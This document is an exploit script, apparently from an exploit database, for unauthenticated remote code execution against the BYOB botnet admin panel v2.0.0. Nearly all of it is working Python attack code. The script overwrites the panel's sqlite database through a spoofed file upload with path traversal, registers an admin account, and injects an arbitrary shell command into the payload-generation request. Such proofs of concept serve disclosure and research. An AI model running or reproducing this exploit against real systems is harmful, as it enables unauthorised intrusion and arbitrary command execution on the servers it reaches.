# Exploit Title: BYOB (Build Your Own Botnet) v2.0.0 Unauthenticated RCE (Remote Code Execution)
# Date: 2024-08-14
# Exploit Author: @_chebuya
# Software Link: https://github.com/malwaredllc/byob
# Version: v2.0.0
# Tested on: Ubuntu 22.04 LTS, Python 3.10.12, change numpy==1.17.3->numpy
# CVE: CVE-2024-?????, CVE-2024-?????
# Description: This exploit works by spoofing an agent callback to overwrite the sqlite database and bypass authentication, then exploiting an authenticated command injection in the payload builder page
# Github:
# Blog:
import sys
import json
import base64
import string
import random
import argparse
import requests
from bs4 import BeautifulSoup
def get_csrf(session, url):
r = session.get(url)
soup = BeautifulSoup(r.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
return csrf_token
def upload_database(session, url, filename):
with open('database.db', 'rb') as f:
bindata = f.read()
data = base64.b64encode(bindata).decode('ascii')
json_data = {'data': data, 'filename': filename, 'type': "txt", 'owner': "admin", "module": "icloud", "session": "lol"}
headers = {
'Content-Length': str(len(json.dumps(json_data)))
}
print("[***] Uploading database")
upload_response = session.post(f"{url}/api/file/add", data=json_data, headers=headers)
print(upload_response.status_code)
return upload_response.status_code
def exploit(url, username, password, user_agent, command):
s = requests.Session()
# This is to ensure reliability, as the application cwd might change depending on the stage of the docker run process
filepaths = ["/proc/self/cwd/buildyourownbotnet/database.db", "/proc/self/cwd/../buildyourownbotnet/database.db", "/proc/self/cwd/../../../../buildyourownbotnet/database.db", "/proc/self/cwd/instance/database.db", "/proc/self/cwd/../../../../instance/database.db", "/proc/self/cwd/../instance/database.db"]
failed = True
for filepath in filepaths:
if upload_database(s, url, filepath) != 500:
failed = False
break
if failed:
print("[!!!] Failed to upload database, exiting")
sys.exit(1)
if password is None:
password = ''.join([random.choice(string.ascii_uppercase + string.digits) for _ in range(32)])
print(username + ":" + password)
register_csrf = get_csrf(s, f'{url}/register')
headers = {
'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
}
data = {
'csrf_token': register_csrf,
'username': username,
'password': password,
'confirm_password': password,
'submit': 'Sign Up'
}
print("[***] Registering user ")
regsiter_response = s.post(f'{url}/register', headers=headers, data=data)
print(regsiter_response.status_code)
login_csrf = get_csrf(s, f'{url}/login')
data = {
'csrf_token': login_csrf,
'username': username,
'password': password,
'submit': 'Log In'
}
print("[***] Logging in")
login_response = s.post(f'{url}/login', headers=headers, data=data)
print(login_response.status_code)
headers = {
'User-Agent': user_agent,
'Content-Type': 'application/x-www-form-urlencoded',
}
data = f'format=exe&operating_system=nix$({command})&architecture=amd64'
try:
s.post(f'{url}/api/payload/generate', headers=headers, data=data, stream=True, timeout=0.0000000000001)
except requests.exceptions.ReadTimeout:
pass
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="The target URL of the BYOB admin panel", required=True)
parser.add_argument("-u", "--username", help="The username to set for the new admin account", default='admin')
parser.add_argument("-p", "--password", help="The password to set for the new admin account", default=None)
parser.add_argument("-A", "--user-agent", help="The user-agent to use for requests", default='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36')
parser.add_argument("-c", "--command", help="The command to execute on the BYOB server", required=True)
args = parser.parse_args()
exploit(args.target.rstrip("/"), args.username, args.password, args.user_agent, args.command)